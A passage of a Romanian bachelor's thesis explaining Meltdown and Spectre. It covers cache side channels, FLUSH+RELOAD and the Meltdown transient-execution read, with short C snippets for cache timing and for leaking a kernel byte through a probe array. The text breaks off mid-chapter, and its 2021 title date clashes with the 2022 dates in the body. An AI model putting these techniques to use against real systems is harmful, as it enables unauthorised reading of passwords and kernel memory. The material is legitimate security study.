UNIVERSITATEA DIN BUCUREȘTI

FACULTATEA DE MATEMATICĂ ȘI INFORMATICĂ

SPECIALIZAREA INFORMATICĂ

Lucrare de licență

ATACURI SPECULATIVE

Absolvent
Radu Ștefan-Octavian

Coordonator științific
Conf. dr. Paul Irofti

București, iunie 2021

Rezumat

Computerele moderne folosesc tehnici de optimizare precum *executie out-of-order* si *branch prediction*. *Meltdown* si *Spectre* sunt doua atacuri care exploateaza efectele secundare aparute la nivel microarhitectural in urma optimizarilor mentionate. Prin intermediul acestora un atacator poate citi date private din zone arbitrare din memorie, fara privilegii si fara a exploata niciun bug de natura software. *Intel*, *AMD* si *ARM* au fost fortate in urma divulgarii acestor atacuri sa isi schimbe designul procesoarelor in incercarea de a mitiga vulnerabilitatile la nivel hardware. In ciuda solutiilor implementate, la jumatatea anului 2022, *Spectre* afecteaza in continure majoritatea computerelor din lumea intreaga si ramane un pericol pentru utilizatori si un subiect de mare interes pentru cercetatori. In aceasta lucrare vor fi prezentate particularitatile celor doua atacuri, si o implementare demonstrativa a unui atac de tip *Spectre*.

Abstract

Modern computers are equiped with features such as *out-of-order execution* and *branch prediction*, which are used to reduce CPU idel time and improve performance. *Meltdown* and *Spectre* are to cyber attacks that exploit microarhitectural side-effects which apper as a result of such optimization techiniques being used. An attacker can read private data of the vicim at arbitrary locations in memory, without exploiting any software bug. *Intel*, *AMD* and *ARM* were forced to redesign their CPUs in order to migiate the risks posed by *Meltdown* and *Spectre*. Despite deployed mitigations, in the second half of 2022, most computers in the world are vulnerable to variations of *Spectre* attacks, billions of users begin at risk. This class of attacks remains a subject of great interest for researchers in the field of security. In this work, the technicalities and implications of both attacks will be covered. Moreover, a proof of concept for a *Spectre* attack will be presented.

Cuprins

Capitolul 1

Introducere

1.1 Context

Meltodwn si *Spectre* fac parte din clasa larga a Atacurilor de tip *Side-Channel*, care exploateaza mai degraba efecte secundare rezultate din implementarea unui sistem, decat defecte in implementarea algoritmilor ce ruleaza pe acel sistem. De-a lungul timpului ai aparut numeroase atacuri de tip *Side-channel*:

- Timing attacks. Aceste atacuri au ca scop compromiterea unui sistem prin intermediul analizei statistice a timpilor de executie ai unui algoritm pe diverse seturi de date de intrare (eg. compromiterea unui sistem de criptare RSA la distanta [3])
- Cache attacks. Aceste atacuri se bazeaza pe abilitatea unui atacator a monitoriza accesarile victimei a unor zone de memorie partajate si deducerea unor concluzii din modul in care aceste accesari influenteaza cache-ul procesorului. In cazuri extreme s-a demonstrat ca se pot divulga chei criptografice secrete prin intermediul acestor tehnici [22].
- Data remanence attacks. Aceste atacuri implica accesul asupra unor date dupa o presupusa stergere a acestora in prealabil. Un exemplu clar este atacul de tip *Cold Boot* [12] in care un atacator cu acces fizic la o masina paoate citi intreaga memorie RAM dupa efectuarea unui resetari a computerului.
- Rowhammer are un loc special in clasa de atacuri de tip *Side-Channel*. Prin accesul repetat al unei zone de memorie s-a observat ca incarcatura elecatrica poate afecta zonele adiacente, provocand scurgeri de informatie. Pe baza acestei tehnici s-au putut construi atacuri de tip escalare de privilegii [27].
- Mai exista si alte tipuri de atacuri care exploateaza consumul energetic, campul electromagnetic generat de componentele electronice, sau chiar si sunetul generat de sistem.

Meltodwn si *Spectre* se folosesc de idei asemanatoare cu cele mentionate in *Timing Attacks* si in *Cache Attacks* pentru a crea un canal de comunicare ascuns. Pe acest canal se transmit informatii accesate in mod malititos prin intermediul unor hibe in implementarea la nivel hardware a compunterelor modern. Se va descrie cum exploatarea acestor defecte este facuta posibila prin intermediul executiei speculative in cadrul procesorului. Executia speculativa prcare esupune executia in avans a instructiunuilor pentru a salva timpi morti si a imbunatati performanta. Fluxul de executie poate fi manipulat in asa fel incat speculativ sa se execute instructiuni care nu s-ar executa vreodata in cadrul executiei normale a programului. Pentru mentinerea consistentei si corectitudinii rezultatelor obitnute in urma executiei algoritmului, rezultatele instructiunilor executate speculativ in mod eronat sunt omise, iar starea interna este resetata. In momentul resetarii, starea cache-ului nu este si ea resetata, iar acest fapt poate fi exploatat, iar informatiile obtinute transmise printr-un *side-channel*.

1.2 Motivatia Personala

Din fire, incerc mereu sa aprofundez cat mai in amanunt subiectele care ma intereseaza, pentru a intelege in profunzime. Natural – consider eu – am ajuns atras de subdomeniul securitatii care presupune o intelegere a sistemelor de informatii. Dintre atacurile cibernetice, *Spectre* si *Meltdown* mi-au starnit interesul pe deoparte prin rezultatele remarcabile obtinute si pe de alta parte prin nivelul ridicat de subtilitate al vulnerabilitatilor exploatate.

1.3 Scopul Lucrarii

Lucrarea de fata este rezultatul studiului personal al materialelor originale care expuneau aceste atacuri. Aceasta are drept scop explicarea clara, dar succinta a *Meltdown* si *Spectre*, intr-un mod accesibil cititorilor interesati, dar nu neaparat neavizati. Va fi de asemenea explicata o implementare cu scop demonstrativ in care un proces neprivilegiat citeste in mod neautorizat zone de memorie dintr-un proces victima, prin intermediul tehicilor descrise pe parcurs.

1.4 Structura Lucrarii

Lucrarea este impartita in urmatoarele capitole:

1. Introducere – se prezinta o viziune de ansamblu asupra atacurilor ce urmeaza a se fie prezentate,un mic istoric al tehiniclor si motivatia personala pentru realizarea acestei lucrari.

2. Preliminarii – se prezinta notiuni de *Sisteme de Operare*, *Arhitectura Sistemelor de Calcul* si *Securitate* relevante intelegerii atacurilor discutate.

3. Atacul Meltdown – se discuta detalii de functionalitate, metode de mitigare si detalii de reproducere a atacul meltdown.

4. Atacuri Spectre – se ilustreaza deosebirile fata de Meltdown, precum si detalii de specifice de functionalitate pentru cele doua variante principale ale Spectre. Sunt prezentate metode de mitigare si starea actuala a vulnerabilitatilor.

5. POC Spectre – se prezinta o implementare demonstrativa a *Spectre v1*

6. Concluzii – se sumarizeaza cele discutate pe parcurs si mentioneaza directiile viitoare

Capitolul 2

Preliminarii

2.1 Notiuni de Sisteme de Operare

2.1.1 Kernel

Dupa cum sugereaza si numele, kernel-ul este componenta principala a unui sistem de operare, care serveste drept interfata intre hardware si software. Kernel-ul indeplineste patru roluri principale in cadrul sistemului de operare:

- gestionarea eficienta a memoriei de pe sistem
- programarea proceselor pe *CPU*
- gestioneaza driverele de hardware, astfel actionand ca un mediator intre hardware si restul proceselor
- comunica cu restul proceselor prin intermediul unui interfete apelurilor de sistem (SCI)

Codul rulat in Kernel este izolat de restul codului de pe sistem. Acesta intreprinde actiuni in mod privilegiat cu drepturi depline de acces asupra hardware-ului. Codul obisnuit de pe sistem functioneaza in userland, si ruleaza cu acces restrictionat asupra resurselor, avand acces la acestea doar prin interfata sigura de comunicare cu Kernel mentionata mai sus (SCI) [15].

2.1.2 Race Condition / Intrecere la rulare

Un *race-condition* apare la nivel de cod in momentul in care functionarea corecta a unui program depinde de ordinea de executie sau de sincronizarea temporala a mai multor fire de executie paralele (*thread-uri*, sau procese). In general aceste situatii apar in cazul in care firele de executie vizeaza simultan o resursa comuna. Pentru evitarea

bug-urilor in aceste situatii, secventele operatii executate asupra resursei comune, numite zone critice, trebuie executate intr-un mod reciproc exclusiv.

La nivel microarhitectural pot aparea *race-condition-uri* in timpul executiei speculative in urma carora pot aparea efecte secundare exploatabile.

2.1.3 IPC

Interprocess comunication, sau *IPC* face referire la mecanismele puse la dispozitie de sistemul de operare pentru comunicarea intre procese si gestionarea datelor comune. Principalele metode folosite in practica si amintite in aceasta lucrare sunt:

- Fisiere. Comunicarea prin intermediul unor fisiere accesibile tuturor proceselor implicate.
- Semnale. Mesaje transmise de la un proces la altul, in general sub forma de instructiuni, corespunzand unui protocol stabilit anterior.
- Memorie partajata. Bloc de memorie la care au acces mai multe procese si prin intermediul caruia pot comunica.

2.1.4 Exceptii de sistem

O exceptie reprezinta o schimbare brusca in rularea programului ca raspuns la o schimbare brusca in starea procesorului. Exemple de exceptii la nivel de aplicatie ar fi: cereri de alocare a memoriei pe heap, cereri de input/output, incercari de impartire cu 0, incercari de accesare a memoriei in afara limitelor impuse de memoria virtuala dedicata procesului, etc. Exceptiile se impart in mai multe categorii: *interrupts*, *traps*, emphfaults, *aborts*. Categoria care va fi adusa in discutie in prezenta lucrare este cea de-a treia, *faults*. Defectele (*faults*), sunt erori (posibil recuperabile de catre sistemul de operare) cauzate de o aplicatie (eg. accesarea unei zone de memorie asupra careia programul nu are drepturile necesare — *segmentaion fault* —, accesarea unei unor date care nu sunt incarcate in memorie — *page fault*) [26].

2.1.5 Procese

Procesul reprezinta cea mai primitiva unitate de alocare a resurselor de sistem si este o instanta activa a unui program [23]. Programul in acest caz nu este nimic mai mult decat un fisier executabil stocat pe masina. Un program nu poate rula decat in contextul unui proces, care consta in id-ul procesului (*PID*), spatiul de adrese (*TEXT, DATA, STACK, HEAP, BSS, etc*), starea procesului (starea registrilor), etc. [26]. Procesele sunt izolate intre ele, fiecare avand dedicat spatiul sau propriu de adrese virtuale de memorie. Implicit

procesele nu impart resurse intre ele, dar pot comunica intre ele partajand resurse in mod intentionat cand acest obiectiv este de dorit.

2.1.6 Memorie Virtuala

Procesoarele folosesc adrese virtuale de memorie si un mecanism de traducere a acestora in adrese fizice pentru a asigura izolarea si separarea proceselor intre ele. Fiecare zona de memorie virtuala este impartita in multiple pagini (cea mai comuna dimensiune este de 4096 de bytes). Fiecare pagina virtuala este mapata prin intermediul tabelelor de traducere a paginilor (*translattion table*), catre corespondentul fizic. In procesor exista un registru dedicat pentru retinerea tabelului de traducere utilizat la un moment dat si care se schimba la fiecare schimbare de context. In consecinta, ficare proces isi poate accesa doar zona sa virtuala de memorie.

Tabelele de traducere mai au si rolul de a asigura separarea intre zona de memorie dedicata utilizatorului si zona de memorie dedicate kernel-ului in cadrul fiecarui proces. In timp ce zona de memorie deicata utilizatorului poate fi accesata de aplicatia care ruleaza in procesul curet, zona de kernel poate fi accesata doar prin intermediul unui utilizator privlegiat. Restrictiile acestea sunt precizate in tablele de traducere, iar respectarea acestora este asigurata de sistemul de operare. Mai este important de notat faptul ca zona pentru kernel in general mapeaza intreaga memorie fizica din cauza necesitatii de executie a diverselor operatii asupra acesteia (eg. scriere, sau citire de date).

Pe parcursul acestei lucrari vor fi expuse atacuri prin care limitele impuse de tablele de traducere au fost ocolite, putandu-se accesa zona de kernel, si implicit toata memoria fizica din postura unui utilizator neprivilegiat, cat si accesul nepermis in zone de memorie ale altor procese, prin intermediul unor pagini partajate.

2.2 Notiuni de Arhitectura Sistemelor de Calcul

2.2.1 SMAP si SMEP

SMAP si SMEP sunt doua caracteristici cu roluri in securizarea sistemelor prin izolarea mai buna a Kernel-ului de spatiul utilizatorului (*userland*). Acestea sunt implementate in cadrul memoriei virtuale si activate prin setarea bitilor corespunzatori (20 si 21) din registrul `CR4` pe arhitectura *Intel*).

SMAP este o caracteristica care presupune restrictia accesului asupra anumitor zone de memorie din *userland* in modul de executie Kernel. In timp ce mecanismul de protectie este activat, incercarea de acces a zonelor protejate va duce la declansarea unei exceptii.

Rolul SMAP este de impiedica programele malitioase din a manipula Kernelul sa acceseze instructiuni, sau date nesigure din spatiul utilizatorului [6].

SMEP este o caracteristica implementata cu scopul de a complementa SMAP. Are rolul de a preveni executia neintentionata a unor fragmente de cod in spatiul user-ului, prin restrictiunatrea dreptului de executie asupra acestora. Diverse atacuri precum cele de tipul *Priviledge-Escalation* pot fi prevenite datorita acestor caracteristici.

2.2.2 Out-of-order Execution & Instructiuni Tranzitorii

In trecut procesoarele executau instructiunile in ordinea in care acestea erau preluate de la compilator, cate una pe rand. In multe situatii instructiuni mai costisitoare blocau fluxul de executie, iar procesorul devenea partial inactiv. Procesoarele moderne se folosesc de o serie de tehnici grupate sub umbrela *Out-of-order Execution*, introduse pentru prima data la mijlocul anilor 1990 [14], in urma unui algoritm dezvoltat de Tomasulo in 1967 [29] care permitea programarea dinamica a ordinii instructiunilor si alocarea acestora pe mai multe unitati de executie care ruleaza in paralel. Scopul acestei tehnici este utilizarea exhaustiva a resurselor disponibile pe procesor, pentru cresterea performantei. Datorita beneficiilor aduse, *Out-of-order Execution* a devenit o caracteristica indispensabila a sistemelor moderne de procesare.

Aceasta optimizare duce la situatii in care unele instructiuni executate trebuie respinse, iar starea programului resetata la una anterioara (din cauza decansarii unei exceptii in urma accesarii unei zone de memorie interzisa de exemplu). Aceste tipuri de instructiuni numite in continuare *Instructiuni Tranzitorii* stau la baza atacului *Meltdown* [20].

2.2.3 Branch Prediction & Executie Speculativa

Branch Processing Unit (*BPU*) din interiorul procesoarelor moderne incearca sa prezica, in cazul unei ramificari a fluxului de executie (de exemplu o structura decizionala – *if*), sau final de iteratie (*for, while*), ramura corecta care va fi urmata. In cazul in care fluxul de executie stagneaza la un astfel punct de bifurcare (de exemplu, in asteptarea incarcarii din memorie a valorii unei variabile), instructiunile urmatoare se vor executa speculativ, urmand ramura prezisa de *BPU*. Dupa ce executia instructiunii care decide ramura corecta a executiei, rezultatele obtinute speculativ sunt fie pastrate (caz in care se castiga timp de rulare pretios) fie respinse, caz in care se revine la o stare anterioara. [19].

Branch prediction are in general o acuratete foarte ridicata, chiar de peste 95% [14], asadar executand speculativ s-au obtinut imbunatatiri considerabile de performanta. Cu toate acestea, in cazurile in care ramura de executie nu este prezisa corect, se vor executa instructiuni care nu ar fi avut loc in cadrul executie secventiale, *in-order execution*. Bineinteles, aceste instructiuni vor fi *rolled-back*, iar rezultatul final va fi cel asteptat, dar la

nivel micro-arhitectural se pot observa si masura niste efecte secundare neprevazute ale acestor instructiuni executate *out-of-order*. Analizarea cu grija a acestor efecte secundare sta la baza atacurilor de tip *Spectre* [19].

2.2.4 CPU Cache

Deoarece incarcarea valorilor din memoria RAM in CPU este foarte costisitoare, in cadrul procesoarelor exista o ierarhie de zone de memorie foarte rapide, separate in linii de dimensiuni mici (de obicei intre 16 si 128 de bytes), ce poarta denumirea de emphcache-uri [4]. Dupa prima accesare a unei adrese din memorie, valoarea obtinuta este retinuta in cache. Astfel, la accesari ulterioare ale aceleiasi zone de memorie, timpul in care valoarea este incarcata este redus semnificativ. In final, prin citiri repetate ale valorilor din cache, se mascheaza incarcarea initiala din memorie, semnificativ mai lenta, si se castiga timp pretios de executie. Cache-urile sunt de obicei partajate intre nucleele unui procesor, optimizandu-se astfel si performanta multi-core.

2.3 Notiuni de Securitate

2.3.1 Atacuri asupra memoriei cache

Deoarece memoria cache este mult mai rapida, prin intermediul unui ceas de mare precizie putem distinge intre accesare din memorie si accesarea din *cache* a unei variabile. Sa consideram urmatoarea secventa de cod:

```
1  uint32_t value = 10;
2  addr = &secret; // adresa secretului
3  /* valoare irelevanta.
4     folosita ca referinta pentru cronometru
5     static -> important pentru a preveni optimizarea
6     in moduri nedorite */
7  static int junk = 0;
8
9  time = __rdtscp(&junk);
10 junk = *addr; \label{code:junk_flush_reload}
11 // prima accesare din memorie
12 memory_time = __rdtscp(&junk) - time;
13
14 addr = &value;
15 time = __rdtscp(&junk);
16 junk = *addr;
17 // a doua accesare din cache
18 cache_time = __rdtscp(&junk) - time;
```

Timpul de accesare al valorii corespunzatoare variabilei `value` poate fi calculat utilizand instructiunea `__rdtscp` specifica procesoarelor Intel. Aceasta permite citirea *time-stamp counter-ului* din procesor [24]. Prin doua masuratori ce incadreaza dereferentierea pointer-ului catre `value`, putem masura numarul de ciclii de procesor necesari operatiei. Repetand experimentul de 10000 de ori si calculand media timpului de acces pentru fiecare caz, se obtin urmatoarele rezultate:

- incarcarea din memorie dureaza aproximativ 250 de ciclii si poarta numele de *cache miss*
- incarcarea din cache dureaza aproximativ 23 de ciclii si poarta numele de *cache hit*

Aceste diferenta masurabile sunt exploatate in cadrul diferitelor tehnici de atac asupra memoriei cache, printre care si *FLUSH and RELOAD* care va fi discutat in continuare.

Observatie

Numarul de ciclii de procesor necesari executiei unui set de instructiuni difera in functie de sistem. Rezultatele ilustrate anterior sunt specifice unui sistem ce ruleaza o versiune actualizata a Kernelului Linux in data de 22.05.2022 (`Linux 5.17.9-arch1-1 x86_64`), cu un procesor al producatorului *Intel*, modelul `i5-8250U` (mai multe specificatii pe site-ul producatorului [17]), cu 8GB de memorie RAM tip DDR3.

FLUSH and RELOAD

O practica comuna de reducere a memoriei utilizate este partajarea intre procese a unor pagini comune cu drepturi exclusive de citire (*read-only*). *FLUSH and RELOAD* este una dintre tehnicile documentate de atac asupra memoriei cache. Scenariul descris in lucrarea de cercetare in care a fost introdus atacul este acela al unei victime si al unui spion care impart o zona partajata de memorie. Spionul se foloseste de instructiunea `clflush` care invalideaza liniile aferente unei zone de memorie din toata ierarhia cache-ului din procesor [5], iar apoi asteapta o perioada scurta de timp. In final verifica daca la accesarea zonei respective obtine un *cache hit* sau un *cache miss*, astfel afland daca victima a accesat sau nu in fereastra respectiva de timp, zona de memorie urmarita. Repetand experimentul, s-au putut extrage informatii suficiente pentru realizarea unor atacuri de succes asupra implementarii de la vremea respectiva a unor algoritmi criptografici (*OpenSSL*, *AES*), monitorizarea activitatii unui utilizator, etc. [30].

Alte tipuri de atacuri asupra memoriei cache

FLUSH and FLUSH se aseamana cu *FLUSH and RELOAD*, diferenta constand in faptul ca spionul in loc de a masura timpul de acces a zonei tinta, va apela iarasi `clflush`.

Executia mai rapida va corespunde unui *cache miss*, iar cea mai rapida unui *cache hit* [21].

EVICT and RELOAD foloseste un *eviction set* pentru a elimina din cache zona de memorie tinta. Apoi, pentru masurarea timpului se procedeaza identic ca la *FLUSH and RELOAD*. Tehnica se aseamana in eficienta cu cele mentionate anterior [21].

PRIME + PROBE consta intr-o abordare diferita. Atacatorul umple toata zona partajata din cache (*PRIME*). Victima va elimina valori in carcate de atacator in cache in timp ce ruleaza (*evict*). Atacatorul va masura apoi timpul de acces pentru toata zona de cache (*probe*). In cazul in care observa un *cache hit*, constata ca victima a accesat zona respectiva [21].

2.3.2 Covert-channel

Utilizarea tehnicilor descrise anterior pentru extragerea diverselor informatii, fac ca memoria cache sa devina un *canal secundar* de comunicare(*side-channel*), iar atacurile poarta numele de *side-channel attacks*. In momentul in care atacatorul controleaza atat modul in care este indus efectul secundar cat si modul in care este masurat, avem in discutie o subcategorie a atacurilor pe *canal secundar*, mai preci atacuri pe *canal ascuns* (*covert-channel*).

2.3.3 Atacuri Speculative

Atacurile Speculative se bazeaza pe exploatarea tehnicii de optimizare numita *Executie Speculativa* care, datorita avantajelor aduse in performata, este utilizata in prezent de majoritatea procesoarelor folosite in prezent. Atacurite se folosesc de aceasta optimizare pentru a produce intentionat efecte secundare masurabile, cu scopul de a accesa date in mod neautoriazat, prin intermediul unor canale secundare (*side channeles*) sau ascunse (*covert channels*). In continuarea acestei lucrari voi discuta particularitatile si implicatiile catorva atacuri din aceasta clasa care au avut un impact semnificativ asupra industriei in ultimii ani.

2.3.4 ROP

ROP [28] este o tehnica prin care un atacator care reuseste sa deturneze fluxul normal de instructiuni, poate sa manipuleze victima in realizarea unor actiuni complexe. In acest scop, atacatorul executa in lant sevente reduse ca dimensiune de instructiuni masina numite *gadget-uri*. Gaget-urile sunt prezente si identificate de atacator in codul sursa al victimei si se aseamana prin faptul ca realizeaza operatii oarecare inaintea executarii unei instrutiuni (sau set de instructiuni) de tip *return*. Daca un atacator poate prelua controlul *stack-pointer-ului*, atunci poate redirectiona foluxul de instructiunui catre un gadget

special ales, care la randul lui va ridirectiona fluxul catre alt gadget. S-a demonstrat ca un set restrans de gadget-uri poate fi echivalent cu un limbaj Turing-Complete [13]. Pe idei preluate din *ROP* se bazeaza variante ale clasei de atacuri *Spectre*, care apeleaza in mod speculativ *gadget-uri* din spatiul de meomorie al victimei.

Capitolul 3

Atacul Meltdown

Meltdown, descoperit in 2017, este un atac care permite citirea intregii memorii de sistem (inclusiv a datelor personale si a parolelor), in ciuda mecanismele de protectie care asigura izolarea memoriei kernel de cea a unui utilizator neprivilegiat. Atacul creaza un canal de comunicare ascuns pe baza efectelor secundare ale *Out-of-Order Execution*. Astfel, vulnerabilitatea depinde doar de tipul procesorului pe care ruleaza sistemul si este independent de software, sau tipul sistemului de operare. La momentul aparitiei Meltdown afecta orice utilizator al unui procesor modern de tip *Intel* produse incepand cu 2010, si posibil, alte marci. Atacul a fost mitigat prin intermediul unor patch-uri software pe toate sistemele mari de operare (Windows, Linux, Android, IOS, etc.) [20].

In acest captilor vor fi prezentate particularitatile atacului, modul in care a fost mititgat si modul in care poate fi reprodus.

3.1 Descrierea Atacului

Meltdown se bazeaza pe executarea intentionata a unor instructiuni care produc exceptii prin natura lor (accesare unor zone interzise de memorie), dar care la nivel microarhitectural sunt executate, iar datele sunt accesate. Prin intermediul *Out-of-Order Execution* si a instructiunilor tranzitorii, datele respective sunt folosite pentru a produce o schimbare vizibila la nivel arhitectural si anume, in cache-ul procesorului. Prin tratarea exceptiile ridicate de sistemul de operare in urma instructiunilor ilegale si folosind unul dinte atacurile documentate asupra memoriei cache, precum *FLUSH and RELOAD*, cream un canal secundar de comunicare prin care atacatorul capata acces la date in mod neprivilegiat.

3.1.1 Structura Memoriei Virtuale in Cadrul unui Proces

Pentru intelegerea atacului este important de inteles cum arata spatiul memoriei virtuale la nivelul fiecarui proces. Kernelul are nevoie de acces la toata memoria, astfel

toata memoria fizica este mapata in kernel la o anumita adresa. De asemenea, spatiul de memorie alocat unui proces este impartit intre zona utilizatorului si zona de kernel. Kernelul administreaza tabelele de traducere a adreselor de memorie si vegheaza ca accesul utilizatorului sa fie restrictionat doar la spatiile de memorie in care se afla datale folosite de programul curent. Astfel, in ciuda faptului ca in cadrul procesului exista alocate adrese virtuale de memorie care corespund adresei fizice a kernelului, acestea nu pot fi accesate fara privilegii speciale in cadrul unei rularii unui program in parametrii normali [18].

La momentul descoperirii atacului, intreaga memorie fizica putea fi accesata prin intermediul kernel-ului, fiind mapata direct in cadrul acestuia. Meltdown reuseste sa ignore regulile stricte de separare dintre user si kernel si prin intermediul acestei legaturi directe intre kernel si restul memoriei poate citi date fara drepturi asupra acestora. Mitigarea vulnerabilitatii a constat in consolidarea mecanismelor de separarea dintre utilizatorul neprivilegiat si kernel.

3.1.2 Exectuarea Instructiunilor Tranzitorii

Scopul atacului este de a accesa si citi zone date asupra carora utilizatorul nu are drepturi, asadar in cadrul atacului vom tinti acest tip de zone de memorie. Dupa cum am mentionat in sectiunea 1.4, procesoarele moderne executa adesea instructiunile intr-o ordine diferita de cea in care apar acestea in program. Exista posibilitatea ca astfel de instructiuni sa ruleze inainte ca verificarile asupra drepturilor de executare asupra acelei instructiuni sa fie finalizate. Sa consideram urmatoarea secventa de cod:

```
1   // declararea in prealabil a variabilelor
2   int x;
3   char kernel_data;
4
5   // accesare kernel produce exceptie
6   kernel_data = *kernel_data_addr; // (1)
7   // instructiunile care urmeaza nu sunt niciodata executate la nivel
    macro
8
9   // accesarea elementului din tabloul <probe> duce la
10  // incarcarea in cache a unei linii care include
11  // index-ul asociat valorii byte-u-lui citit din zona de kernel
12  x = probe[kernel_data * 4096]; // (2)
```

Listing 3.1: Executarea instructiunilor tranzitorii

Se presupune ca avem la cunostinata adresa unui secret stocat in zona de kernel stocata in variabila `kernel_data_addr`. Executia instructiunilor din linia (1) va duce la dereferentia adresei respective, ceea ce va produce un *Segmentation Fault*. Astfel, la nivel macro, prin interventia sistemului de operare, datele de la adresa respectiva nu

vor fi accesate, conform restrictiilor impuse de kernel asupra utilizatorului neprivilegiat. Comportamentul astfel rezultat al programului este cel asteptat.

La nivel microarhitectural fluxul de executie difera. Verificarea drepturilor de acces asupra unei zone de memorie au loc dupa accesarea acesteia. Din cauza *Out-of-Order Execution* si rularii relativ lenta a verificarii drepturilor de accesare, instructiunile care succed vor fi executate speculativ. La nivel microarhitectural datele de la adresa `kernel_data_addr` vor fi preluate. Si incarcate in variabila `kernel_data`. Ulterior, tabeloul `probe` va fi accesat la index-ul corespunzator `kernel_data`, iar pagina corespunzatoare acelei valori va fi incarcata in cache (linia (2)). Rezultatele obtinute vor fi evident omise cand dreptului de acces asupra adresei respective este invalidat, iar starea registrilor va trebui resetata la cea anterioara liniei (1).

Din cauza unui bug in arhitectura majoritatii procesoarelor, datele incarcate in cache-ul procesorului in cadrul executarii speculative, raman in cache chiar si dupa resetarea starii microarhitecturale. Aceste *Instructiuni Tranzitorii* prin faptul ca nu reseteaza starea cache-ului permit folosirea tehnicilor specifice atacurilor cache pentru recuperarea secretlui [20].

Observatie - Principiul Localitatii

Trebuie facuta o observatie importanta pentru linia (2). In cadrul instructiunii tranzitorii pe care vrem sa o executam am accesat tabloul `probe` la index-ul $kernal\_data \times 4096$, in loc de $kernel\_data$. Conform *principiului localitaii* [7], cand are loc un cache miss procesorul nu incarca doar 1 byte din memorie, ci multiplii bytes in functie de dimensiunea liniilor din cache (de obicei 64 de bytes). Rezultatul este ca in momentul in care un element `probe[k]` ar fi accesat, si el si elementele adiacente acestuia ar fi incarcate in cache. Pentru a putea distinge usor intre elemente adiacente vom folosi un multiplicator (in acest caz 4096) mai mare decat dimensiunea tipica a unei linii de cache pentru ca accesarea a doua elemente adiacente sa nu determine incarcarea in cache a unor blocuri cu zone comune.

3.1.3 Gestionarea Exceptiilor

Pentru a nu intrerupe fluxul de executie si a putea interpreta datele rezultate in urma *Instructiunilor Tranzitorii* trebuie tratate execeptiile aparute in mod natural. Conform lucrarii de cercetare [20] avem doua variante: Suprimarea Exceptiilor si Tratarea explicita a Exceptiilor.

Duplicarea Procesului

O metoda triviala presupune duplicarea (*forking*) procesului chiar inainte de declansarea exceptiei. Linia (1) a codului ar fi astfel executata in procesul copil, care va fi

terminat de catre sistemul de operarare. Efectele secundare aparute in urma executiei speculative pot fi apoi masurate din procesul parinte prin intermediul unui canal secundar (*side-channel*), eg. memoria cache.

Signal Handler

O meteoda alternativa este instalarea unui *signal handler* care se declanseaza la aparitia exceptiei corespunzatoare (eg. *Segmentation Fault*) Astfel evitam terminarea programului de catre sistemul de operare si reducand timpul de executie necesar crearii unui nou proces.

Suprimarea Exceptiilor

Putem de asemenea preveni declansarea exceptiilor in totalitate. In cadrul executiei speculative se pot executa instructiuni care nu s-ar executa in mod normal din cauza unei predictii gresite a caii urmate de fluxul de instructiuni in urma unei bifurcari. Astfel, deoarece la nivel macro instructiunile ilegale nu vor fi executate, exceptia nu va fi declansata de sistemul de operare, chiar daca la nivel microarhitectural, liniile de cod au fost executate speculativ, iar efectul secundar a avut loc. Aceasta abordare implica antrenarea oracolului de prezicere a bifurcarilor (*branch predictor*) si va fi descris in cadrul discutiei despre *Atacuri Spectre* [19].

3.1.4 Trecerea din planul micro in planul macro

Ca urmarea a gestionarii exceptiilor, executia programului continua neintrerupta. In urma executarii instructiunilor tranzitorii, la nivel microarhitectural starea sistemului s-a schimbat, prin incarcarea in cache a adresei accesate speculativ. Prin intermediul tehnicilor specifice atacurilor asupra memoriei cache (descrise in sectiunea 2.3.1) putem crea un canal secret de comunicare (covert channel). Va fi prezentata initial metoda de transmitere a unui bit pe canalul secret, iar ulterior aceasta metoda va fi extinsa la transmiterea unui byte.

Pentru a transmite un bit se procedeaza in felul urmator. Pentru transmiterea de informatie se executa o serie de instructiuni tranzitorii in urma carora zona de memorie dorita este incarcata in cache. Pentru citirea informatiei de pe canalul ascuns se va folosi tehnica *FLUSH and RELOAD* (2.3.1). Initial se foloseste instructiunea `clflush` pentru eliberarea din cache (eviction) a adresei tinta, iar apoi se asteapta transmiterea unui bit de informatie. Dupa trecerea perioadei de timp se masoara timpul necesare accesarii valorii de la adresa tinta. Daca timpul de accesare este mic (sub un prag stabilit anterior) il clasificam ca *cache hit*. In acest caz, constatam ca victima a accesat in fereastra de timp adresa de memorie prin intermediul unei instructiuni tranzitive, si a transmis atfel un bit cu valoarea emph1. Daca timpul de accesare este mare (peste pragul stabilit anterior),

clasificam accesarea ca un *cache miss*. In acest caz, victima nu a executat instructiunile tranzitorii corespunzatoare incarcarii in cache a valorii tinata, deci a transmis implicit un bit cu valoare *0*.

Pentru transmiterea a 1 byte de date (dimensiunea corespunzatoare unui caracter in format ASCII) se va proceda in felul urmator. Conform sectiunii de cod din 3.1.2, pentru fiecare dintre cele 256 de valori posibilie pe care le poate avea un byte de informatie, se acceseaza o linie separata in cache in mode speculativ prin intermediul unui set de instructiuni tranzitorii. Pentru reconstruirea informatiei, atacatorul va efectua atacul *FLUSH and RELOAD* pentru fiecare dintre cele 256 de zone posibile din cache. Initial, fiecare dintre cele *256* de adrese trebuie eliminate din cache (se foloseste instructiunea `clflush`). In final, index-ul pentru care s-a obtinut un *cache hit* va corespunde valorii byte-ului de informatie transmis prin canalulu secret. In particular, pentru array-ul `probe` se va rula *FLUSH and RELOAD* pentru fiecare dintre `probe[i * 4096]` (cu $0 \leq i \leq 255$). Daca se obtine un *cache hit* pentru textttprobe[k * 4096] (cu $0 \leq i \leq 255$), atunci pe canal s-a transmis valoarea k [20].

Conform principilui localitatii (descris aici 3.1.2) vom mutiplica valoarea secretului cu *page-size* (in acest caz *4KB*) pentru a asigura o separare suficient de mare intre adresele accesate din `probe`. Astfel evitam scenariul in care in urma unei accesari, printre valorile adiacente indicelui accesat la un pas, sunt incarcate in cache si valorile ale unori indici de interes. Astfel, tabloul `probe` va avea dimensiunea de exact 256×4096 pentru pagini de *4KB*.

3.1.5 Scenariul si realizarea atacului Meltdown

